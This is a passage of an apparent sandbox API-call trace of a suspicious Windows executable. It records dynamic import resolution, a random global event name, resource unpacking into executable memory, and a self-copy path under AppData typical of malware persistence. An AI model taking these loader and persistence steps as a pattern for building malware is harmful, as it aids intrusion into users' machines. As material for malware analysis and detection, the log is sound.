Size=0xf) returned 0x458f710 [0301.450] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74560000 [0301.450] lstrlenA (lpString="kernel32.dll") returned 12 [0301.450] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6f8 | out: hHeap=0x4510000) returned 1 [0301.450] GetProcAddress (hModule=0x74560000, lpProcName="GetProcAddress") returned 0x745751b0 [0301.450] lstrlenA (lpString="GetProcAddress") returned 14 [0301.450] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f710 | out: hHeap=0x4510000) returned 1 [0301.451] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xb) returned 0x458f6f8 [0301.451] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76850000 [0301.451] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xc) returned 0x458f710 [0301.451] GetProcAddress (hModule=0x76850000, lpProcName="MessageBoxA") returned 0x768bd740 [0301.451] lstrlenA (lpString="MessageBoxA") returned 11 [0301.451] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f710 | out: hHeap=0x4510000) returned 1 [0301.451] lstrlenA (lpString="user32.dll") returned 10 [0301.451] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6f8 | out: hHeap=0x4510000) returned 1 [0301.451] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xc) returned 0x458f6f8 [0301.451] GetProcAddress (hModule=0x76850000, lpProcName="FindWindowA") returned 0x76867a80 [0301.451] lstrlenA (lpString="FindWindowA") returned 11 [0301.451] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6f8 | out: hHeap=0x4510000) returned 1 [0301.451] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xd) returned 0x458f6f8 [0301.451] GetProcAddress (hModule=0x76850000, lpProcName="SendMessageA") returned 0x76860630 [0301.451] lstrlenA (lpString="SendMessageA") returned 12 [0301.451] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6f8 | out: hHeap=0x4510000) returned 1 [0301.451] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xd) returned 0x458f6f8 [0301.452] GetProcAddress (hModule=0x76850000, lpProcName="PostMessageA") returned 0x7686b8d0 [0301.452] lstrlenA (lpString="PostMessageA") returned 12 [0301.452] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6f8 | out: hHeap=0x4510000) returned 1 [0301.452] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x14) returned 0x458f6f8 [0301.452] GetProcAddress (hModule=0x76850000, lpProcName="GetForegroundWindow") returned 0x76883420 [0301.452] lstrlenA (lpString="GetForegroundWindow") returned 19 [0301.452] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6f8 | out: hHeap=0x4510000) returned 1 [0301.452] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x11) returned 0x458f6f8 [0301.452] GetProcAddress (hModule=0x76850000, lpProcName="RegisterClassExA") returned 0x76868260 [0301.452] lstrlenA (lpString="RegisterClassExA") returned 16 [0301.452] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6f8 | out: hHeap=0x4510000) returned 1 [0301.452] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x10) returned 0x458f6f8 [0301.452] GetProcAddress (hModule=0x76850000, lpProcName="CreateWindowExA") returned 0x76871470 [0301.453] lstrlenA (lpString="CreateWindowExA") returned 15 [0301.453] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6f8 | out: hHeap=0x4510000) returned 1 [0301.453] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xb) returned 0x458f6f8 [0301.453] GetProcAddress (hModule=0x76850000, lpProcName="ShowWindow") returned 0x76883ee0 [0301.453] lstrlenA (lpString="ShowWindow") returned 10 [0301.453] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6f8 | out: hHeap=0x4510000) returned 1 [0301.453] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xd) returned 0x458f6f8 [0301.453] GetProcAddress (hModule=0x76850000, lpProcName="UpdateWindow") returned 0x76862b80 [0301.453] lstrlenA (lpString="UpdateWindow") returned 12 [0301.453] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6f8 | out: hHeap=0x4510000) returned 1 [0301.453] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xc) returned 0x458f6f8 [0301.453] GetProcAddress (hModule=0x76850000, lpProcName="GetMessageA") returned 0x7686bdf0 [0301.453] lstrlenA (lpString="GetMessageA") returned 11 [0301.453] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6f8 | out: hHeap=0x4510000) returned 1 [0301.453] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x11) returned 0x458f6f8 [0301.453] GetProcAddress (hModule=0x76850000, lpProcName="TranslateMessage") returned 0x7687f900 [0301.453] lstrlenA (lpString="TranslateMessage") returned 16 [0301.453] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6f8 | out: hHeap=0x4510000) returned 1 [0301.453] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x11) returned 0x458f6f8 [0301.454] GetProcAddress (hModule=0x76850000, lpProcName="DispatchMessageA") returned 0x7686fd80 [0301.454] lstrlenA (lpString="DispatchMessageA") returned 16 [0301.454] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6f8 | out: hHeap=0x4510000) returned 1 [0301.454] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xe) returned 0x458f6f8 [0301.454] GetProcAddress (hModule=0x76850000, lpProcName="DestroyWindow") returned 0x76883160 [0301.454] lstrlenA (lpString="DestroyWindow") returned 13 [0301.454] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6f8 | out: hHeap=0x4510000) returned 1 [0301.454] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x11) returned 0x458f6f8 [0301.454] GetProcAddress (hModule=0x76850000, lpProcName="UnregisterClassA") returned 0x7687b230 [0301.454] lstrlenA (lpString="UnregisterClassA") returned 16 [0301.454] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6f8 | out: hHeap=0x4510000) returned 1 [0301.454] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xf) returned 0x458f6f8 [0301.454] GetProcAddress (hModule=0x76850000, lpProcName="DefWindowProcA") returned 0x77865680 [0301.454] lstrlenA (lpString="DefWindowProcA") returned 14 [0301.454] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6f8 | out: hHeap=0x4510000) returned 1 [0301.454] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x10) returned 0x458f6f8 [0301.454] GetProcAddress (hModule=0x76850000, lpProcName="PostQuitMessage") returned 0x76872bc0 [0301.455] lstrlenA (lpString="PostQuitMessage") returned 15 [0301.455] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6f8 | out: hHeap=0x4510000) returned 1 [0301.455] lstrlenA (lpString="xafpqko") returned 7 [0301.455] lstrlenA (lpString="xafpqko") returned 7 [0301.455] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xf) returned 0x458f6f8 [0301.455] lstrcatA (in: lpString1="", lpString2="xafpqko" | out: lpString1="xafpqko") returned="xafpqko" [0301.455] lstrcatA (in: lpString1="xafpqko", lpString2="xafpqko" | out: lpString1="xafpqkoxafpqko") returned="xafpqkoxafpqko" [0301.455] lstrlenA (lpString="xafpqkoxafpqko") returned 14 [0301.455] lstrlenA (lpString="user32.dll") returned 10 [0301.455] lstrlenA (lpString="user32.dll") returned 10 [0301.455] lstrlenA (lpString="user32.dll") returned 10 [0301.455] lstrlenA (lpString="user32.dll") returned 10 [0301.455] lstrlenA (lpString="user32.dll") returned 10 [0301.455] lstrlenA (lpString="user32.dll") returned 10 [0301.455] lstrlenA (lpString="user32.dll") returned 10 [0301.455] lstrlenA (lpString="user32.dll") returned 10 [0301.455] lstrlenA (lpString="user32.dll") returned 10 [0301.455] lstrlenA (lpString="user32.dll") returned 10 [0301.455] lstrlenA (lpString="user32.dll") returned 10 [0301.455] lstrlenA (lpString="user32.dll") returned 10 [0301.455] lstrlenA (lpString="user32.dll") returned 10 [0301.455] lstrlenA (lpString="user32.dll") returned 10 [0301.455] lstrlenA (lpString="user32.dll") returned 10 [0301.455] lstrlenA (lpString="user32.dll") returned 10 [0301.455] lstrlenA (lpString="user32.dll") returned 10 [0301.455] lstrlenA (lpString="user32.dll") returned 10 [0301.455] lstrlenA (lpString="user32.dll") returned 10 [0301.455] lstrlenA (lpString="user32.dll") returned 10 [0301.456] lstrlenA (lpString="user32.dll") returned 10 [0301.456] lstrlenA (lpString="user32.dll") returned 10 [0301.456] lstrlenA (lpString="user32.dll") returned 10 [0301.456] lstrlenA (lpString="user32.dll") returned 10 [0301.456] lstrlenA (lpString="user32.dll") returned 10 [0301.456] lstrlenA (lpString="user32.dll") returned 10 [0301.456] lstrlenA (lpString="user32.dll") returned 10 [0301.456] lstrlenA (lpString="user32.dll") returned 10 [0301.456] lstrlenA (lpString="user32.dll") returned 10 [0301.456] lstrlenA (lpString="user32.dll") returned 10 [0301.456] lstrlenA (lpString="user32.dll") returned 10 [0301.456] lstrlenA (lpString="user32.dll") returned 10 [0301.456] lstrlenA (lpString="user32.dll") returned 10 [0301.456] lstrlenA (lpString="user32.dll") returned 10 [0301.456] lstrlenA (lpString="Global") returned 6 [0301.456] lstrlenA (lpString="\\") returned 1 [0301.456] lstrlenA (lpString="sBDaBfzHylDaJ3k0ZN3eoO1v1LoldeAWa") returned 33 [0301.456] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x29) returned 0x458f710 [0301.456] lstrcatA (in: lpString1="", lpString2="Global" | out: lpString1="Global") returned="Global" [0301.457] lstrcatA (in: lpString1="Global", lpString2="\\" | out: lpString1="Global\\") returned="Global\\" [0301.457] lstrcatA (in: lpString1="Global\\", lpString2="sBDaBfzHylDaJ3k0ZN3eoO1v1LoldeAWa" | out: lpString1="Global\\sBDaBfzHylDaJ3k0ZN3eoO1v1LoldeAWa") returned="Global\\sBDaBfzHylDaJ3k0ZN3eoO1v1LoldeAWa" [0301.457] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="Global\\sBDaBfzHylDaJ3k0ZN3eoO1v1LoldeAWa") returned 0x2d4 [0301.457] GetLastError () returned 0xb7 [0301.457] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x4) returned 0x458f748 [0301.457] lstrlenA (lpString="user32.dll") returned 10 [0301.457] FindResourceA (hModule=0x28e0000, lpName="307", lpType=0xa) returned 0x0 [0301.457] lstrlenA (lpString="user32.dll") returned 10 [0301.457] FindResourceA (hModule=0x28e0000, lpName="307", lpType=0x3) returned 0x28f3168 [0301.457] SizeofResource (hModule=0x28e0000, hResInfo=0x28f3168) returned 0x1fc54 [0301.457] LoadResource (hModule=0x28e0000, hResInfo=0x28f3168) returned 0x28f5c10 [0301.457] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x448) returned 0x458f758 [0301.457] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x1fc54) returned 0x4513be8 [0301.482] lstrlenA (lpString="kernel32.dll") returned 12 [0301.484] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x3f858) returned 0x4533848 [0301.488] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xe000) returned 0x45730a8 [0301.489] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xfc40) returned 0x4640048 [0301.510] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x4640048 | out: hHeap=0x4510000) returned 1 [0301.511] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x45730a8 | out: hHeap=0x4510000) returned 1 [0301.512] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x4513be8 | out: hHeap=0x4510000) returned 1 [0301.512] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x28e01) returned 0x4640048 [0301.516] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x4533848 | out: hHeap=0x4510000) returned 1 [0301.517] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f758 | out: hHeap=0x4510000) returned 1 [0301.517] lstrlenA (lpString="307") returned 3 [0301.517] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f748 | out: hHeap=0x4510000) returned 1 [0301.517] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x20a) returned 0x458f748 [0301.517] lstrcpynW (in: lpString1=0x458f748, lpString2="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe", iMaxLength=522 | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe" [0301.517] VirtualAlloc (lpAddress=0x10000000, dwSize=0x2e000, flAllocationType=0x1000, flProtect=0x40) returned 0x0 [0301.517] VirtualAlloc (lpAddress=0x0, dwSize=0x2e000, flAllocationType=0x1000, flProtect=0x40) returned 0x2ac0000 [0301.523] GetModuleHandleA (lpModuleName="msvcrt.dll") returned 0x74360000 [0301.523] GetProcAddress (hModule=0x74360000, lpProcName="_wcsicmp") returned 0x743e68f0 [0301.523] GetProcAddress (hModule=0x74360000, lpProcName="_HUGE") returned 0x74413870 [0301.523] GetProcAddress (hModule=0x74360000, lpProcName="localeconv") returned 0x743bb810 [0301.524] GetProcAddress (hModule=0x74360000, lpProcName="malloc") returned 0x743a7230 [0301.524] GetProcAddress (hModule=0x74360000, lpProcName="free") returned 0x743a7070 [0301.524] GetProcAddress (hModule=0x74360000, lpProcName="qsort") returned 0x743bb910 [0301.524] GetProcAddress (hModule=0x74360000, lpProcName="_time64") returned 0x743ee030 [0301.524] GetProcAddress (hModule=0x74360000, lpProcName="memcpy") returned 0x743e7b70 [0301.525] GetProcAddress (hModule=0x74360000, lpProcName="memmove") returned 0x743e7f90 [0301.525] GetProcAddress (hModule=0x74360000, lpProcName="strncpy") returned 0x743e8a10 [0301.525] GetProcAddress (hModule=0x74360000, lpProcName="memset") returned 0x743e8360 [0301.525] GetProcAddress (hModule=0x74360000, lpProcName="strncmp") returned 0x743e8950 [0301.525] GetProcAddress (hModule=0x74360000, lpProcName="_vsnwprintf") returned 0x743d5fb0 [0301.525] GetProcAddress (hModule=0x74360000, lpProcName="_vsnprintf") returned 0x743d5b40 [0301.526] GetProcAddress (hModule=0x74360000, lpProcName="atol") returned 0x7438fee0 [0301.526] GetProcAddress (hModule=0x74360000, lpProcName="strchr") returned 0x743e8470 [0301.526] GetProcAddress (hModule=0x74360000, lpProcName="_snprintf") returned 0x743d47f0 [0301.526] GetProcAddress (hModule=0x74360000, lpProcName="_strtoi64") returned 0x74391ed0 [0301.526] GetProcAddress (hModule=0x74360000, lpProcName="_errno") returned 0x74395c60 [0301.526] GetProcAddress (hModule=0x74360000, lpProcName="memchr") returned 0x743e7a50 [0301.527] GetProcAddress (hModule=0x74360000, lpProcName="strtod") returned 0x74391c20 [0301.527] GetModuleHandleA (lpModuleName="PSAPI.DLL") returned 0x0 [0301.527] LoadLibraryA (lpLibFileName="PSAPI.DLL") returned 0x742d0000 [0301.530] GetProcAddress (hModule=0x742d0000, lpProcName="GetModuleFileNameExW") returned 0x742d13f0 [0301.530] GetModuleHandleA (lpModuleName="WS2_32.dll") returned 0x0 [0301.530] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x75df0000 [0301.535] GetProcAddress (hModule=0x75df0000, lpProcName=0x4) returned 0x75df5410 [0301.535] GetProcAddress (hModule=0x75df0000, lpProcName=0x6) returned 0x75e03750 [0301.535] GetProcAddress (hModule=0x75df0000, lpProcName=0x13) returned 0x75df5030 [0301.536] GetProcAddress (hModule=0x75df0000, lpProcName=0xf) returned 0x75e08ff0 [0301.536] GetProcAddress (hModule=0x75df0000, lpProcName=0x34) returned 0x75e26cb0 [0301.536] GetProcAddress (hModule=0x75df0000, lpProcName=0x15) returned 0x75dffd70 [0301.536] GetProcAddress (hModule=0x75df0000, lpProcName=0x12) returned 0x75df4ea0 [0301.536] GetProcAddress (hModule=0x75df0000, lpProcName=0x6f) returned 0x75e08fe0 [0301.536] GetProcAddress (hModule=0x75df0000, lpProcName=0x10) returned 0x75e00c50 [0301.536] GetProcAddress (hModule=0x75df0000, lpProcName=0x17) returned 0x75e04510 [0301.536] GetProcAddress (hModule=0x75df0000, lpProcName=0x97) returned 0x75e08fa0 [0301.537] GetProcAddress (hModule=0x75df0000, lpProcName=0x3) returned 0x75e00910 [0301.537] GetProcAddress (hModule=0x75df0000, lpProcName=0xb) returned 0x75e09160 [0301.537] GetProcAddress (hModule=0x75df0000, lpProcName=0x73) returned 0x75df5b40 [0301.537] GetProcAddress (hModule=0x75df0000, lpProcName=0xc) returned 0x75e09450 [0301.537] GetProcAddress (hModule=0x75df0000, lpProcName=0xa) returned 0x75dffa10 [0301.537] GetProcAddress (hModule=0x75df0000, lpProcName=0x9) returned 0x75e08ff0 [0301.537] GetProcAddress (hModule=0x75df0000, lpProcName=0x33) returned 0x75e26b20 [0301.538] GetModuleHandleA (lpModuleName="SHELL32.dll") returned 0x74720000 [0301.538] GetProcAddress (hModule=0x74720000, lpProcName="SHGetFolderPathW") returned 0x748788f0 [0301.538] GetModuleHandleA (lpModuleName="SHLWAPI.dll") returned 0x76bd0000 [0301.538] GetProcAddress (hModule=0x76bd0000, lpProcName="StrStrIW") returned 0x76be4390 [0301.538] GetProcAddress (hModule=0x76bd0000, lpProcName="StrCmpNA") returned 0x76beca10 [0301.539] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x772b0000 [0301.539] GetProcAddress (hModule=0x772b0000, lpProcName="CoSetProxyBlanket") returned 0x76a59510 [0301.539] GetProcAddress (hModule=0x772b0000, lpProcName="CoInitializeEx") returned 0x76a72590 [0301.539] GetProcAddress (hModule=0x772b0000, lpProcName="CoTaskMemFree") returned 0x76a064b0 [0301.539] GetProcAddress (hModule=0x772b0000, lpProcName="CoInitialize") returned 0x772e6a60 [0301.540] GetProcAddress (hModule=0x772b0000, lpProcName="CoInitializeSecurity") returned 0x76a89710 [0301.540] GetProcAddress (hModule=0x772b0000, lpProcName="CoUninitialize") returned 0x76a722b0 [0301.540] GetProcAddress (hModule=0x772b0000, lpProcName="CoCreateInstance") returned 0x76a37490 [0301.540] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x74560000 [0301.540] GetProcAddress (hModule=0x74560000, lpProcName="SwitchToThread") returned 0x74576790 [0301.541] GetProcAddress (hModule=0x74560000, lpProcName="lstrcmpA") returned 0x74576b90 [0301.541] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentProcess") returned 0x745cea10 [0301.541] GetProcAddress (hModule=0x74560000, lpProcName="SleepEx") returned 0x745cec70 [0301.541] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentThread") returned 0x74578810 [0301.541] GetProcAddress (hModule=0x74560000, lpProcName="TerminateThread") returned 0x74576800 [0301.542] GetProcAddress (hModule=0x74560000, lpProcName="Sleep") returned 0x74576760 [0301.542] GetProcAddress (hModule=0x74560000, lpProcName="GetExitCodeThread") returned 0x74574ff0 [0301.542] GetProcAddress (hModule=0x74560000, lpProcName="CreateMutexA") returned 0x745ceb40 [0301.542] GetProcAddress (hModule=0x74560000, lpProcName="DuplicateHandle") returned 0x745ceac0 [0301.542] GetProcAddress (hModule=0x74560000, lpProcName="lstrlenA") returned 0x74576c50 [0301.542] GetProcAddress (hModule=0x74560000, lpProcName="lstrcatA") returned 0x745b70c0 [0301.543] GetProcAddress (hModule=0x74560000, lpProcName="lstrcpyA") returned 0x745b7060 [0301.543] GetProcAddress (hModule=0x74560000, lpProcName="TerminateProcess") returned 0x745767e0 [0301.543] GetProcAddress (hModule=0x74560000, lpProcName="ResumeThread") returned 0x74576380 [0301.543] GetProcAddress (hModule=0x74560000, lpProcName="lstrcatW") returned 0x745b71a0 [0301.543] GetProcAddress (hModule=0x74560000, lpProcName="lstrcpynW") returned 0x74576c30 [0301.543] GetProcAddress (hModule=0x74560000, lpProcName="lstrlenW") returned 0x74576c70 [0301.543] GetProcAddress (hModule=0x74560000, lpProcName="lstrcmpiW") returned 0x74576bf0 [0301.544] GetProcAddress (hModule=0x74560000, lpProcName="ConnectNamedPipe") returned 0x74574450 [0301.544] GetProcAddress (hModule=0x74560000, lpProcName="ReadFile") returned 0x745cf090 [0301.544] GetProcAddress (hModule=0x74560000, lpProcName="DisconnectNamedPipe") returned 0x745747c0 [0301.544] GetProcAddress (hModule=0x74560000, lpProcName="GetLastError") returned 0x74575010 [0301.544] GetProcAddress (hModule=0x74560000, lpProcName="CreateNamedPipeA") returned 0x745ac910 [0301.544] GetProcAddress (hModule=0x74560000, lpProcName="ExitProcess") returned 0x74573cb0 [0301.544] GetProcAddress (hModule=0x74560000, lpProcName="WaitForSingleObject") returned 0x745ceca0 [0301.544] GetProcAddress (hModule=0x74560000, lpProcName="CreateEventA") returned 0x745ceb00 [0301.545] GetProcAddress (hModule=0x74560000, lpProcName="GetProcessId") returned 0x74575240 [0301.545] GetProcAddress (hModule=0x74560000, lpProcName="CloseHandle") returned 0x745ceab0 [0301.545] GetProcAddress (hModule=0x74560000, lpProcName="GetEnvironmentVariableW") returned 0x74574fb0 [0301.545] GetProcAddress (hModule=0x74560000, lpProcName="SetEnvironmentVariableW") returned 0x745764e0 [0301.545] GetProcAddress (hModule=0x74560000, lpProcName="SetThreadPriority") returned 0x745766c0 [0301.545] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentThreadId") returned 0x74578820 [0301.545] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentProcessId") returned 0x745cea20 [0301.546] GetProcAddress (hModule=0x74560000, lpProcName="CreateFileW") returned 0x745ced10 [0301.546] GetProcAddress (hModule=0x74560000, lpProcName="CreateThread") returned 0x745746b0 [0301.546] GetProcAddress (hModule=0x74560000, lpProcName="CreateDirectoryW") returned 0x745cece0 [0301.546] GetProcAddress (hModule=0x74560000, lpProcName="MoveFileW") returned 0x745ae500 [0301.546] GetProcAddress (hModule=0x74560000, lpProcName="GetComputerNameW") returned 0x745a32c0 [0301.546] GetProcAddress (hModule=0x74560000, lpProcName="InitializeCriticalSection") returned 0x7783af20 [0301.546] GetProcAddress (hModule=0x74560000, lpProcName="LeaveCriticalSection") returned 0x7782b250 [0301.547] GetProcAddress (hModule=0x74560000, lpProcName="EnterCriticalSection") returned 0x7782b2d0 [0301.547] GetProcAddress (hModule=0x74560000, lpProcName="WaitForMultipleObjects") returned 0x745cec80 [0301.547] GetProcAddress (hModule=0x74560000, lpProcName="DeleteCriticalSection") returned 0x7780fb90 [0301.547] GetProcAddress (hModule=0x74560000, lpProcName="DeleteFileW") returned 0x745ced40 [0301.547] GetProcAddress (hModule=0x74560000, lpProcName="lstrcpynA") returned 0x74576c10 [0301.547] GetProcAddress (hModule=0x74560000, lpProcName="GetVersionExA") returned 0x745756d0 [0301.547] GetProcAddress (hModule=0x74560000, lpProcName="lstrcmpiA") returned 0x74576bd0 [0301.548] GetProcAddress (hModule=0x74560000, lpProcName="GetFileSize") returned 0x745cef30 [0301.548] GetProcAddress (hModule=0x74560000, lpProcName="QueryPerformanceCounter") returned 0x74575da0 [0301.548] GetProcAddress (hModule=0x74560000, lpProcName="QueryPerformanceFrequency") returned 0x74575dc0 [0301.548] GetProcAddress (hModule=0x74560000, lpProcName="HeapReAlloc") returned 0x7781f630 [0301.548] GetProcAddress (hModule=0x74560000, lpProcName="HeapAlloc") returned 0x77822dc0 [0301.548] GetProcAddress (hModule=0x74560000, lpProcName="HeapFree") returned 0x745757f0 [0301.548] GetProcAddress (hModule=0x74560000, lpProcName="GetProcessHeap") returned 0x745751f0 [0301.548] GetProcAddress (hModule=0x74560000, lpProcName="ReleaseMutex") returned 0x745cec20 [0301.549] GetProcAddress (hModule=0x74560000, lpProcName="FreeLibrary") returned 0x74574c40 [0301.549] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleHandleW") returned 0x745750d0 [0301.549] GetProcAddress (hModule=0x74560000, lpProcName="LoadLibraryW") returned 0x74575ae0 [0301.549] GetProcAddress (hModule=0x74560000, lpProcName="CopyFileW") returned 0x745cf3b0 [0301.549] GetProcAddress (hModule=0x74560000, lpProcName="GetProcAddress") returned 0x745751b0 [0301.550] GetProcAddress (hModule=0x74560000, lpProcName="WideCharToMultiByte") returned 0x74576b10 [0301.550] GetProcAddress (hModule=0x74560000, lpProcName="GetEnvironmentVariableA") returned 0x74574f90 [0301.551] GetProcAddress (hModule=0x74560000, lpProcName="MultiByteToWideChar") returned 0x74575c40 [0301.551] GetProcAddress (hModule=0x74560000, lpProcName="GetSystemTimeAsFileTime") returned 0x74575530 [0301.551] GetProcAddress (hModule=0x74560000, lpProcName="LoadLibraryA") returned 0x74575a80 [0301.551] GetProcAddress (hModule=0x74560000, lpProcName="HeapCreate") returned 0x745757b0 [0301.551] GetProcAddress (hModule=0x74560000, lpProcName="OpenProcess") returned 0x74575cc0 [0301.551] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleHandleA") returned 0x745750b0 [0301.551] GetProcAddress (hModule=0x74560000, lpProcName="SetLastError") returned 0x74574f00 [0301.551] GetProcAddress (hModule=0x74560000, lpProcName="CreateProcessW") returned 0x74574610 [0301.552] GetProcAddress (hModule=0x74560000, lpProcName="GetExitCodeProcess") returned 0x74573c60 [0301.552] GetProcAddress (hModule=0x74560000, lpProcName="Process32FirstW") returned 0x745af750 [0301.552] GetProcAddress (hModule=0x74560000, lpProcName="CreatePipe") returned 0x74574590 [0301.552] GetProcAddress (hModule=0x74560000, lpProcName="Process32NextW") returned 0x745af8f0 [0301.552] GetProcAddress (hModule=0x74560000, lpProcName="FindFirstFileW") returned 0x745cedf0 [0301.552] GetProcAddress (hModule=0x74560000, lpProcName="GetFileAttributesW") returned 0x745cef10 [0301.553] GetProcAddress (hModule=0x74560000, lpProcName="FindNextFileW") returned 0x745cee40 [0301.553] GetProcAddress (hModule=0x74560000, lpProcName="SetFileAttributesW") returned 0x745cf100 [0301.553] GetProcAddress (hModule=0x74560000, lpProcName="SystemTimeToFileTime") returned 0x745767a0 [0301.553] GetProcAddress (hModule=0x74560000, lpProcName="GetSystemTime") returned 0x745754e0 [0301.553] GetProcAddress (hModule=0x74560000, lpProcName="lstrcmpW") returned 0x74576bb0 [0301.553] GetProcAddress (hModule=0x74560000, lpProcName="LocalAlloc") returned 0x74575b20 [0301.553] GetProcAddress (hModule=0x74560000, lpProcName="SetFilePointer") returned 0x745cf120 [0301.554] GetProcAddress (hModule=0x74560000, lpProcName="GetLocalTime") returned 0x74575060 [0301.554] GetProcAddress (hModule=0x74560000, lpProcName="WriteFile") returned 0x745cf180 [0301.554] GetProcAddress (hModule=0x74560000, lpProcName="FlushFileBuffers") returned 0x745cee70 [0301.554] GetProcAddress (hModule=0x74560000, lpProcName="SetEvent") returned 0x745cec50 [0301.554] GetProcAddress (hModule=0x74560000, lpProcName="OpenEventA") returned 0x745cebd0 [0301.555] GetProcAddress (hModule=0x74560000, lpProcName="GetTickCount") returned 0x745cdd50 [0301.555] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleFileNameW") returned 0x74575090 [0301.555] GetProcAddress (hModule=0x74560000, lpProcName="GetSystemInfo") returned 0x745754d0 [0301.555] GetProcAddress (hModule=0x74560000, lpProcName="SetEnvironmentVariableA") returned 0x745764c0 [0301.555] GetProcAddress (hModule=0x74560000, lpProcName="GetWindowsDirectoryW") returned 0x74575730 [0301.556] GetProcAddress (hModule=0x74560000, lpProcName="VirtualAlloc") returned 0x74576970 [0301.556] GetProcAddress (hModule=0x74560000, lpProcName="InterlockedIncrement") returned 0x74577420 [0301.556] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x76850000 [0301.556] GetProcAddress (hModule=0x76850000, lpProcName="GetSystemMetrics") returned 0x7687ddc0 [0301.556] GetProcAddress (hModule=0x76850000, lpProcName="FindWindowA") returned 0x76867a80 [0301.557] GetProcAddress (hModule=0x76850000, lpProcName="PostMessageA") returned 0x7686b8d0 [0301.557] GetProcAddress (hModule=0x76850000, lpProcName="CharUpperBuffA") returned 0x768c7650 [0301.557] GetProcAddress (hModule=0x76850000, lpProcName="MessageBoxA") returned 0x768bd740 [0301.557] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x77230000 [0301.557] GetProcAddress (hModule=0x77230000, lpProcName="GetSidSubAuthority") returned 0x7724f230 [0301.558] GetProcAddress (hModule=0x77230000, lpProcName="RegCloseKey") returned 0x7724ed60 [0301.558] GetProcAddress (hModule=0x77230000, lpProcName="GetUserNameW") returned 0x7724f890 [0301.558] GetProcAddress (hModule=0x77230000, lpProcName="LookupAccountSidW") returned 0x7724f100 [0301.558] GetProcAddress (hModule=0x77230000, lpProcName="GetSecurityDescriptorSacl") returned 0x772532d0 [0301.558] GetProcAddress (hModule=0x77230000, lpProcName="SetSecurityInfo") returned 0x7724fc60 [0301.558] GetProcAddress 